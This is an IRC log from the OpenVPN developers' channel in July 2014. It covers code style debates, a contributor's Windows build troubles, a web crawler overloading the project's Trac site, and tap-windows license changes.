<@plaisthos> that is something for the meeting in november 11:44 <@pekster> multi_set_virtual_addr_env() (in multi.c) has construct that indents to line up long options to functions that aren't "indented by 2" but rather "indented to the last starting option column" 11:44 <@pekster> I mean, it looks nice, but there's no good way to tell a whitespace-fixer-upper about that 11:46 <@plaisthos> hm I see nothing speical in multi_set_virtual_addr_env 11:46 <@plaisthos> that isn't gnu style 11:46 <@pekster> Let me pop back to master (that's what my patch touches, so lines are all different :P 11:46 <@plaisthos> the weird function arguments are intended to be below the (+1 is gnu style ... 11:47 <@pekster> line 1416, leading indents allign options 11:47 <@pekster> yea 11:47 <@pekster> But going in/out indent levels means manually fixing that all :P 11:47 <@plaisthos> gnu style is probably designed not work with any editor than emacs 11:48 <@plaisthos> RMS design goal for code style: - Must only work with Emacs 11:48 <@pekster> I saw him speak a few years back when he was in the area. He is fun to listen to, but his single-mindedness is rather mind-boggling 11:49 <@pekster> he has some good ideas, he just takes them to the furthest extreme :\ 11:49 <@pekster> Apparently he refused an invite to a local LUG group becuase they wouldn't change their hame to "TCGLUG" -- the Twin Cities GNU/Linux Users Group" 11:50 <@plaisthos> yeah 11:51 <@plaisthos> he insists on GNU/Linux 11:51 <@plaisthos> since LInux is not from the GNU program 11:51 <@pekster> Still waiting for Hurd, I guess :P 11:51 <@plaisthos> and with GPLv3 most non LInux OSes are moving way from GNU programs 11:51 <@plaisthos> look at FreeBSD and OS X 11:52 <@plaisthos> lot of central program are already non gnu 11:52 <@pekster> Right; lots of things use GPL (v2/v3) other copyleft, but they're in ports, so you must "ask for them" 11:52 <@plaisthos> like cc, tar, grep, ... 11:52 <@pekster> Sure, but if you want anything that arequires gmake, it's automatically brought in as a dep 11:53 <@pekster> Now you _could_ say "we refuse to use anything that requires GNU deps", but that's taking things to the anti-RMS extreme. I favor a healthy balance. By all means keep a core OS as delivered "clean", but then once it's in the user's hands, let them deal with their own choices 11:53 <@plaisthos> yeah sure, but it is something that is making the GNU tools less and less omnipresent 11:56 <@pekster> I don't mind the GNU tools as much as people that go around attempting to write "portable" code in scripts/C/whatever that then require GNU-extensions 12:00 <@plaisthos> "works for me" 12:00 <@pekster> Well, that's more the author's failing than it is the toolchain used 12:00 <@pekster> But hey, open-source does not automatically mean well-written code ;) 12:00 <@plaisthos> :) 12:24 <@pekster> Grr, trac doesn't open the "wiki formatting" link in a new tab/window 12:38 <@plaisthos> downloading vs prof 2013 12:38 <@plaisthos> lets see if I can get OpenVPN to build 12:54 <@plaisthos> !git 12:54 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 12:54 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 13:07 <@pekster> cron2: Feel free to ping me here if the info on the netbits and v6 "local" IP dont' make sense. I saw some question of their use in #230 discussion/ML thread, so I'm happy to dig deeper into why they're sane ;) 13:07 <@plaisthos> sigh redefinition of inet_pton 13:07 <@plaisthos> great start :D 13:09 <@pekster> Hmm, there's a new one. I mostly just copied what we had for the v4 stuff with the obvious struct changes for in6_addr 13:11 <@pekster> Oh, no, inet_pton goes the wrong way though -- we'd need inet_ntop I think 13:11 <@pekster> addr is the in6_addr struct 13:11 <@pekster> Mine is still better than the memcpy in one of the earlier patches ;) 13:13 <@plaisthos> pekster: You are confusing me, I am getting build error because redefinition of inet_pton and you talk about other stuff :) 13:14 <@pekster> Oh, I thought that was a comment of how I handledl the structure 13:14 <@pekster> heh 13:14 <@pekster> Nevermind, carry on 13:16 <@pekster> Fucking thunderbird. It added some stupid '>' symbol to my patch, causing the gpg sig to fail unless that's removed 13:17 <@pekster> I think it only does that when you name the attachment *.patch. *.txt would be fine :( 13:25 <@plaisthos> cron2, mattock_afk: do we have some agenda for the meeting? 13:25 <@plaisthos> or wiki page? 13:43 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has joined #openvpn-devel 13:55 < ninelegs> !meetings 13:55 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 13:57 < ninelegs> !git 13:57 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 13:57 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 15:25 <@cron2> plaisthos: which meeting? Next IRC meeting, or Munich Hackathon? 15:29 <@cron2> plaisthos: I intend to copy-paste the Hackathon2013 page to 2014, and then delete all that was last year, and leave the skeleton for this year. Haven't done it yet 15:34 <@plaisthos> cron2: ah okay 15:34 <@plaisthos> cron2: I wanted to add code style cleanu before 2.4 on the list of things to dicuss 15:37 <@cron2> give me a few more days to set up the list :) 15:38 <@plaisthos> :) 15:38 <@plaisthos> no rush 15:38 <@plaisthos> hm 15:38 <@plaisthos> should I book the hotel already? 15:39 <@plaisthos> hm I cannot book ticket for DB for another month 15:41 <@cron2> well, we agreed on the date, so it should be save to book now. Worst thing that can happen is that I get hit by a truck - in that case you'll need to find a room in munich for the rest of you, but Motel One might have one :-) 16:16 -!- Envil [~meep@95.211.26.40] has quit [Ping timeout: 240 seconds] 17:12 <@ecrist> !git 17:12 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 17:12 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 20:47 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has quit [Ping timeout: 260 seconds] 21:54 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has joined #openvpn-devel 23:12 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has quit [Ping timeout: 240 seconds] 23:19 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has joined #openvpn-devel --- Day changed Mon Jul 21 2014 01:32 -!- mattock_afk is now known as mattock 02:04 <@cron2> mornin' 02:08 < ninelegs> quit 02:09 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has quit [Quit: WeeChat 0.4.3] 03:28 <@plaisthos> cron2: morning 03:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 06:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:03 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:05 <@ecrist> cron2: FYI, I just sent another update for openvpn-devel snapshot 07:15 <@cron2> ecrist: cool 07:17 <@plaisthos> after I found out that http://plai.de/android has spread more than I thought (> 30k requests), I polished the site a bit :) 07:17 <@vpnHelper> Title: Index of /android (at plai.de) 08:20 -!- dazo_afk is now known as dazo 08:21 <@mattock> FYI: the company is in the process of nuking current openvpn.net site, and in the process the community content will be migrated to community.openvpn.net 08:21 <@mattock> so, if you have any opinions on how to move the existing community articles from openvpn.net to community.openvpn.net let me know :) 08:22 <@plaisthos> mattock: new design? 08:22 <@mattock> yes 08:22 <@mattock> and split into Private Tunnel, Enterprise and Community parts for openvpn.net 08:22 <@mattock> openvpn.net being basically just an entrypoint 08:22 <@mattock> very simple 08:23 <@mattock> this is something I've tried to sell for years probably and now it is happening 08:24 <@dazo> good work, mattock! 08:24 <@mattock> dazo: well, it's not entirely my doing 08:25 <@mattock> I guess the time was finally ripe for nuking openvpn.net 08:25 <@dazo> that helps, but the split has also been needed anyhow, and you at least planted that seed :) 08:25 <@plaisthos> mattock: whoever maintains private tunnel sites: 08:25 <@plaisthos> https://code.google.com/p/ics-openvpn/issues/detail?id=266&can=1&start=200 08:25 <@vpnHelper> Title: Issue 266 - ics-openvpn - Won .ovpn files - parsing - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 08:25 <@plaisthos> the config export seems to be a bit broken 08:26 <@mattock> dazo: yeah, that I can take credit for :P 08:26 <@mattock> too bad the seeds take so long to grow into plants :D 08:27 <@cron2> mattock: cool news :) 08:27 <@cron2> (we agreed in munich to do that, so we all planted the seed...) 08:27 <@mattock> you should equally thank novaflash, because he managed to convince Francis to nuke openvpn.net 08:27 <@mattock> cron2: yep, lots of seeds were planted in the past :) 08:28 <@mattock> anyhow, I'm categorizing the community articles on openvpn.net to see where they should go 08:29 <@mattock> there's some really obsolete stuff that we probably need not even migrate 09:07 <+novaflash> ? 09:07 <+novaflash> hello hello 09:07 <+novaflash> i'm at fault, blame me 09:11 * cron2 blames novaflash 09:11 <@cron2> what for? 09:14 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 09:18 <@plaisthos> hm 09:18 <@plaisthos> my linux vm has not enough entrop 09:18 <@plaisthos> a dnssec-keygen process is running over an hour without result 09:23 <+novaflash> cron2: if you pay me enough you can blame me for anything you like 10:11 <@mattock> cron2: nuking of openvpn.net 10:21 <@ecrist> now if only we could wrest control of openvpn.org 10:21 * ecrist pokes 10:28 <@plaisthos> btw. what is openvpn e.v. and openvpn.de? 10:39 <@ecrist> no idea 10:42 <@mattock> plaisthos: it's an old openvpn site primarily for german-speakers 10:42 <@mattock> founded before I came aboard 10:42 <@plaisthos> yeah. but seems rather dead 11:37 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 11:37 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 12:01 <@mattock> openvpn e.v. was quite alive some years ago 12:02 <@mattock> before forums.openvpn.net 12:02 <@mattock> maybe that sucked some users away 12:34 <@ecrist> I'm guessing that's the case. 12:44 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 12:59 -!- t0rbo [~kvirc@95.233.69.195] has joined #openvpn-devel 12:59 < t0rbo> hi 12:59 < t0rbo> someone online? 13:04 * t0rbo yuhuuuu (!?!?) 13:09 -!- t0rbo was kicked from #openvpn-devel by dazo [YES!] 13:09 -!- t0rbo [~kvirc@95.233.69.195] has joined #openvpn-devel 13:09 < t0rbo> lol 13:10 <@plaisthos> dazo: :) 13:10 < t0rbo> hi dazo, i have some problem with my fedora 13:11 <@dazo> This isn't a support channel ... this is a development channel 13:11 < t0rbo> oh :/ 13:11 < t0rbo> nobody could help me anyway? 13:14 <@plaisthos> t0rbo: not here 13:26 -!- t0rbo [~kvirc@95.233.69.195] has left #openvpn-devel ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"] 15:34 -!- mattock is now known as mattock_afk 15:35 -!- dazo is now known as dazo_afk 16:14 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds] 16:14 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:31 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has quit [Quit: Leaving] 19:58 < snappy> 1 21:36 <@ecrist> 2 --- Day changed Tue Jul 22 2014 00:24 -!- mattock_afk is now known as mattock 02:16 <@cron2> 3 02:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:50 <@plaisthos> 4 04:40 < snappy> 5 04:54 -!- Netsplit *.net <-> *.split quits: tamazaki 05:28 <@mattock> 6 05:32 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 05:47 -!- dazo_afk is now known as dazo 05:56 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:56 -!- mode/#openvpn-devel [+o pekster] by ChanServ 07:30 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 07:30 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:03 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 08:03 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:29 <+debbie10t> community.openvpn.net is unavailable ? 08:32 <@mattock> seems a bit slow to respond, yes 08:32 <+debbie10t> hi - mattock - i was just letting you know - i have tried from three separate internet locations .. all unavailable 08:33 <@mattock> I'm investigating 08:33 <+debbie10t> ok :) 08:34 <+debbie10t> mattock: i am trying to compile the generic/buildsystem with your script from the wiki but I am having a couple of issues .. is it ok to ask about them here .. when you are finished your current task ? thanks 08:35 <@mattock> yeah, it's ok 08:35 <@mattock> somebody is clearly using Trac 08:36 <+debbie10t> you mean trac is really busy ? 08:37 <@mattock> well, I wouldn't say "really" but there's some usage 08:38 <@mattock> so it has not completely crashed 08:39 <+debbie10t> i'll keep trying 08:49 <+debbie10t> compiling generic with script - question 1: 08:50 <@mattock> trac seems to respond after the webserver was restarted 08:50 <+debbie10t> First - i am using ubuntu 1204LTS in a VirtualBox guest 08:50 <@mattock> if this happens again I will investigate more thoroughly 08:50 <@mattock> that's a good starting point 08:51 <+debbie10t> aha - comminuty is back :) 08:51 <@mattock> nothing particularly suspicious was happening there 08:51 <+debbie10t> ok - so there should be no problem using vbox (provided I set it up ok) 08:51 <@mattock> some bots trying to exploit php weaknesses, but that probably was not the cause 08:51 <@mattock> no, it should work fine 08:57 <+debbie10t> ok - so I will get straight to the point - it spent around 25 minutes running through your script then failed saying the libpam was not installed or available - sorry I do not have the exact error - so now I have built a brand new ub1204lts from scratch and was going to try again .. but I was wondering if there was something obviousd I missed 08:57 <@mattock> which article are you following? 08:58 <+debbie10t> related to libpam 08:59 <+debbie10t> i am following the wiki - https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Installingprequisites 09:00 <+debbie10t> actually here - https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem#AutomatedsetupforUbuntu 09:01 <+debbie10t> I am going to start it anyway - i'll let you know in half an hour if there are any errors 09:02 <@mattock> it should work if the VM has a fairly standard configuration 09:03 <@mattock> I have not updated that script in a while, but I did use it some months back to bootstrap a new build VM 09:03 <@mattock> Ubuntu 12.04 09:03 <+debbie10t> just one more question: does the script handle ALL installed dependancies (including mingw) or do those tneed manual install first ? 09:04 <@pekster> That's covered on the wiki under the build system prereqs 09:04 * pekster is on the way out, but that might be enough to get you started 09:04 <@pekster> use apt-cache search and search for logical-looking things like libpam and the like 09:04 <@plaisthos> maybe libpam-dev is missing 09:04 <@pekster> ^ 09:12 <+debbie10t> I am sorry but the wiki is not very clear - on the one hand it says install mingw-w64/etc and on the other (in manual setup for ubuntu) it says apt-get mingw-w64/etc .. the manual setup instructions appear to be covered by mattocks script above that ? 09:13 <@plaisthos> debbie10t: what is not clear about that? 09:13 <@plaisthos> It is not a step by step manual a blind monkey could follow but install ming64/etc and apt-get mingw-w64/etc sound the same to me 09:20 <@mattock> where is this mingw-w64/etc thing? 09:20 <@mattock> can you give a direct quote so that I can fix it? 09:20 <@mattock> if necessary 09:21 <@mattock> including the page on which the confusing text is 09:21 <@mattock> building openvpn for windows is not for the faint of heart, even today 09:21 <@mattock> it used to be way more difficult in the past 09:22 <+debbie10t> i appreciate everything you say and do try my best to learn for myself - this is trhe page i mean ... https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem#AutomatedsetupforUbuntu 09:22 <+debbie10t> this is the instruction 09:22 <+debbie10t> apt-get install git-core mingw-w64 gcc-4.6-arm-linux-gnueabi man2html dos2unix nsis unzip 09:23 <+debbie10t> the question is .. that apppears to do the "You need to install a bunch of tools before attempting a build: " instructions anyway 09:24 <+debbie10t> except for Git vs git-core and osslsigncode, which i know your script setup as a watched it 09:26 <@mattock> actually the script installs all the dependencies 09:27 <@mattock> line 5: BUILD_DEPS="git-core mingw-w64 gcc-4.6-arm-linux-gnueabi man2html dos2unix nsis unzip wget" 09:27 <@mattock> line 39: apt-get -y install $BUILD_DEPS 09:27 <@mattock> line 81: install_prequisites 09:27 <@mattock> (which is a function) 09:27 <@mattock> the automated script should be fully automated 09:27 <@mattock> and if it is not, then it needs to be fixed 09:27 <@mattock> as well as the manual instructions 09:28 <+debbie10t> ok - i presume then it also gets the git clone ov openvpn-build.git 09:29 <@mattock> there's some damn web crawler bring Trac to its knees 09:29 <@mattock> yeah 09:29 <@mattock> it does 09:30 <@mattock> you can read the script to see what it does, it's fairly simple 09:31 <+debbie10t> right - i have kicked it off .. totally vanilla ubuntu 1204lts with dkms for virtualbox only 09:32 <+debbie10t> i'll let you know how it goes .. thanks for your help 09:33 <+debbie10t> FYI - the forum is getting hit by spammers more than normal as well 09:34 <@mattock> oh 09:34 <@mattock> I added some Crawl-Delay to robots.txt 09:35 <@mattock> maybe that will help spread the load from crawlers 09:48 * plaisthos did not know that you could tell crawlers to be nice 09:51 <@mattock> Trac would unresponsive all the time without robots.txt 09:51 <@mattock> because the crawlers find links to the Git browser and that's still really slow 09:52 <@mattock> this time the crawler did some queries which consumed lots of CPU 09:53 <@mattock> it's still crawling because it has not reread robots.txt 09:53 <@plaisthos> you could disallow the git browser for the robots 09:54 <@mattock> I do 09:54 <@plaisthos> oh :) 09:54 <@mattock> I had to when we moved community to EC2 09:54 <@mattock> the previous VM was so powerful that the crawlers did not bother it much 09:55 <@mattock> https://en.wikipedia.org/wiki/Robots.txt 09:55 <@vpnHelper> Title: Robots exclusion standard - Wikipedia, the free encyclopedia (at en.wikipedia.org) 09:55 <@mattock> this was the culprit today: https://ahrefs.com/robot/ 09:55 <@vpnHelper> Title: Ahrefs – backlinks research tool (at ahrefs.com) 10:14 <+debbie10t> mattock: the script failed - here is pastebin of log file : http://pastebin.com/sEyJ45uD 10:14 <+debbie10t> look right at the end 10:14 <+debbie10t> if you are interested ;) 10:16 <@mattock> "/mnt/ext4/openvpn/osslsigncode-1.7.1/missing: line 81: autoheader: command not found" 10:16 <@mattock> at least osslsigncode fails at that point 10:16 <@mattock> this one is more interesting: 10:16 <@mattock> "dpkg-deb: error: `nsis_2.46-101_amd64.deb' is not a debian format archive" 10:16 <+debbie10t> i have run it twice - same error 10:17 <+debbie10t> maybe i need to change my sources.list 10:17 <+debbie10t> they point to gb.ubuntu at the mo 10:18 <+debbie10t> i had a different error yesterday but that machine has the US sources 10:18 <@mattock> ah 10:18 <@mattock> package architecture (amd64) does not match system (i386) 10:18 <+debbie10t> yep 10:18 <@mattock> you're trying to install 64-bit packages on a 32-bit platform 10:19 <@mattock> I only have 64-bit packages available 10:19 <+debbie10t> ok 10:19 <@mattock> you should create 64-bit ubuntu 12.04 VM 10:19 <@mattock> then it might work out of the box 10:19 <@mattock> even though the autoheader thing probably would need to be fixed 10:20 <@mattock> the problem is that standard NSIS packages in Ubuntu won't work, as they will fail during openvpn-gui build 10:20 <@mattock> not entirely sure about ubuntu 14.04 though 10:20 <+debbie10t> the strange thing is it got much further yester day - i will fire up that machine and try it again 10:20 <@mattock> it could be that the patch that is required for 12.04 is no longer required, if mingw_w64 has been updated 10:21 <+debbie10t> thanks again 10:38 <@dazo> mattock: what would you guess is the average download numbers of OpenVPN? (daily/weekly/monthly, doesn't matter, just one of the :)) 10:38 <@dazo> just a rough estimate 10:43 <@plaisthos> dazo: 1200 installs/day of my app 10:43 <@plaisthos> also 1000 uninstall/day of my app 10:44 <@plaisthos> james apps has more installs but no idea what his summary is 11:28 <+krzee> lol 11:32 <@mattock> dazo: I can check 11:50 <+debbie10t> mattock : just to confirm .. is it NOT possible to use your script with 32b ubuntu ? 11:51 <@mattock> it's not 11:51 <@mattock> because you will need the patched mingw_w64 packages 11:51 <@mattock> and the script might fail elsewhere, too, because it's untested on 32-bit 11:51 <+debbie10t> it is possible to compile any openvpn with 32b ubuntu ? 11:52 <@mattock> of course 11:52 <@mattock> but you will need to solve the problems you will encounter yourself 11:53 <@mattock> you could build a patched version of mingw_w64 yourself for 32-bit 11:53 <@mattock> but that's considerable effort 11:53 <@mattock> my advise is to just use 64-bit Ubuntu 12.04 11:53 <@mattock> least pain 11:54 <+debbie10t> ok.. i don't have access to 64bit at the mo so .. that's out 11:54 <+debbie10t> but thanks for the advise 11:56 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 12:00 <@dazo> Is it just me ... or are there issues with community.openvpn.net now? 12:03 <@mattock> there are issue 12:03 <@mattock> a crawler is bringing it down 12:03 <@dazo> eew 12:03 <@mattock> I added stuff to robots.txt but it probably is still haunting the site 12:04 <@mattock> dazo: this one: http://ahrefs.com/robot 12:04 <@vpnHelper> Title: Ahrefs – backlinks research tool (at ahrefs.com) 12:04 <@mattock> it's running an incredible amount of queries which slow Trac down 12:12 <@dazo> that's really rude 12:13 <@dazo> what about to add some kind of connection limits ... blocking too aggressive IP addresses? 12:40 <@mattock> dazo: that might work 12:41 <@mattock> I'll see if my robots.txt editing helps once this episode is over 12:41 <@mattock> it _should_ 13:22 -!- dazo is now known as dazo_afk 13:45 <@mattock> uh, now one bot is not respecting robots.txt 14:23 < ender|> just one? 14:25 <@mattock> yep, at least now 14:25 <@mattock> I'll upgrade the community.openvpn.net instance from m1.small to m1.medium (EC2) tomorrow 14:25 <@mattock> I need to do that anyways 14:36 -!- mattock is now known as mattock_afk 15:28 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds] 15:40 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:35 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 16:35 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 16:36 <+debbie10t> community.openvpn.net is still unavailable 75% 20:00 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 22:27 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has joined #openvpn-devel --- Day changed Wed Jul 23 2014 00:43 -!- ninelegs [~ninelegs@unaffiliated/ninelegs] has quit [Quit: WeeChat 0.4.3] 01:02 -!- mattock_afk is now known as mattock 01:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:34 <@mattock> I upgraded community.openvpn.net to m1.medium 01:34 <@mattock> seems a lot snappier 01:34 <@mattock> I still need to filter out the requests from the offending bot 02:40 -!- dgollub [~dgollub@p20030045EE0491010DD3840F84DB191D.dip0.t-ipconnect.de] has joined #openvpn-devel 02:40 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:04 -!- dgollub [~dgollub@p20030045EE0491010DD3840F84DB191D.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 03:41 <@mattock> the problem with community seems to be that the FDM 3.x bot was actually crawling using https 03:42 <@mattock> and https://community.openvpn.net/robots.txt did not lead anywhere because Trac caught that 03:57 <@cron2> nasty trac 04:02 <@mattock> now it works 04:02 <@mattock> I blocked the damn bot 04:02 <@mattock> I'm unsure if it ever checked robots.txt 04:02 <@mattock> now robots.txt is accessible both through https and http, so all bots should notice it 04:02 <@mattock> if they are friendly 04:03 <@mattock> meanwhile the FDM 3.x bot is blocked using mod_rewrite 04:03 <@mattock> it's now getting 403s from apache 04:04 <@mattock> trac seems to be perfectly responsive now 05:00 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 05:28 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 05:28 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:31 <@ecrist> who uses that bot? 09:18 <@mattock> ecrist: not sure, but seems to be legit: https://ahrefs.com/robot/ 09:18 <@vpnHelper> Title: Ahrefs – backlinks research tool (at ahrefs.com) 11:06 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:11 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 13:11 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 13:12 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:12 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:33 -!- mattock is now known as mattock_afk 18:57 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 22:00 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] --- Day changed Thu Jul 24 2014 00:56 -!- mattock_afk is now known as mattock 01:10 <@mattock> cron2, dazo: james was ok with the KVM/SPICE exception to the tap-windows/tap-windows6 license 01:10 <@mattock> shall we do it? 02:06 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:54 <@cron2> no objections 03:13 <@mattock> cron2: ok, good 03:13 <@mattock> as the KVM/SPICE exception came from dazo, I doubt he objects, either 03:13 <@mattock> :) 03:14 <@mattock> I'll push the license change to the repos tomorrow 03:16 <@mattock> uh 03:16 <@plaisthos> uh does not sound good 03:16 <@mattock> have to double-check that there are no other authors 03:17 <@mattock> I probably have to poke Alon, too, even though he only touched the buildsystem 03:17 <@mattock> it still affects his code 03:17 <@plaisthos> Yeah. But I think he will be reasonable about that 03:17 <@mattock> yep 03:18 <@mattock> and if he's not, we can probably have the installer files use plain GPLv2, and the actual code GPLv2+amendment 03:35 <@mattock> emailed alon 04:56 -!- dazo_afk is now known as dazo 07:16 <@plaisthos> mattock: perhaps he is busy hiding 07:16 <@mattock> could be, no response yet 08:14 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 11:32 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:04 <@dazo> mattock: I don't mind ... and I doubt Alon minds too (as he is part of the virtualization team in Israel) ... reg. Alon, I don't think his build system was brought over to the new tap driver, was it? 13:05 <@mattock> no 13:05 <@mattock> tap-windows6 is "clean" 13:05 <@mattock> atm only openvpn tech copyrights 13:05 <@dazo> well, then his changes are actually irrelevant, aren't they? 13:05 <@mattock> a bit, except that tap-windows might be used for a long while 13:05 <@dazo> or do you mean to also do this on the old tap driver as well? 13:05 <@mattock> yes 13:05 <@mattock> both 13:05 <@dazo> ahh, okay 13:06 <@dazo> for me that old driver is in the past ... as with newer Windows versions, you won't be able to use it, iirc 13:06 <@dazo> Windows 8.1+x .... but I don't remember where NDIS5 was removed 13:07 <@cron2> wasn't removed yet 13:07 <@dazo> then it's probably 8.2 ... or something related to the RT version 13:09 <@mattock> frank: got it 13:09 <@mattock> I'll add that to the JIRA ticket and verify what those certs are used for 13:10 <@dazo> mattock: right channel? 13:10 <@mattock> ooh 13:10 <@mattock> hahaha 13:10 <@mattock> no 13:10 <@dazo> :) 13:10 <@mattock> too many open windows 13:10 <@mattock> or tabs 13:10 <@mattock> now you know we use JIRA internally 13:10 <@dazo> heh 13:10 <@mattock> it's pretty nice, especially the Agile board parts 13:10 <@dazo> could be another foss project too ;-) 14:13 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 15:11 -!- mattock is now known as mattock_afk 16:53 -!- dazo is now known as dazo_afk 17:13 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 17:13 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 17:14 <+debbie10t> As this is an odd request i thought I would ask if someone could take a look at some time please - https://forums.openvpn.net/topic16477.html 17:14 <@vpnHelper> Title: OpenVPN Support Forum License Conflict with the Microsoft WDK : Wishlist (at forums.openvpn.net) 17:47 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 18:07 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 19:58 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:58 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Fri Jul 25 2014 00:14 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 00:15 -!- mattock_afk is now known as mattock 01:13 <@cron2> mornin' 01:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:26 <@vpnHelper> RSS Update - gitrepo: Remove deprecated --max-routes option from manual <https://github.com/OpenVPN/openvpn/commit/095d6ad7564ec06f725c1661318b1717708e66aa> 01:36 < snappy> On this ticket: https://community.openvpn.net/openvpn/ticket/49 it says that there's some work going on with floating tls. I asked about this a week ago, but cannot seem to find if its actively being worked on (reconciling mailing list + tickets) 01:36 <@vpnHelper> Title: #49 (--float does not work with --server) – OpenVPN Community (at community.openvpn.net) 01:37 <@cron2> sort of "not very actively being worked on". There's a patch, it seems to work, but has not been reviewed enough, and we need to check with James if it matches what we decided in Munich how to go about it 01:37 <@cron2> boils down to "not enough dev time" 01:52 < snappy> (p.s. im volunteering to fix this) 01:53 < snappy> and i know the patch offered on that ticket is contentious since there's possibilities of dos/ddos attacks identifying the 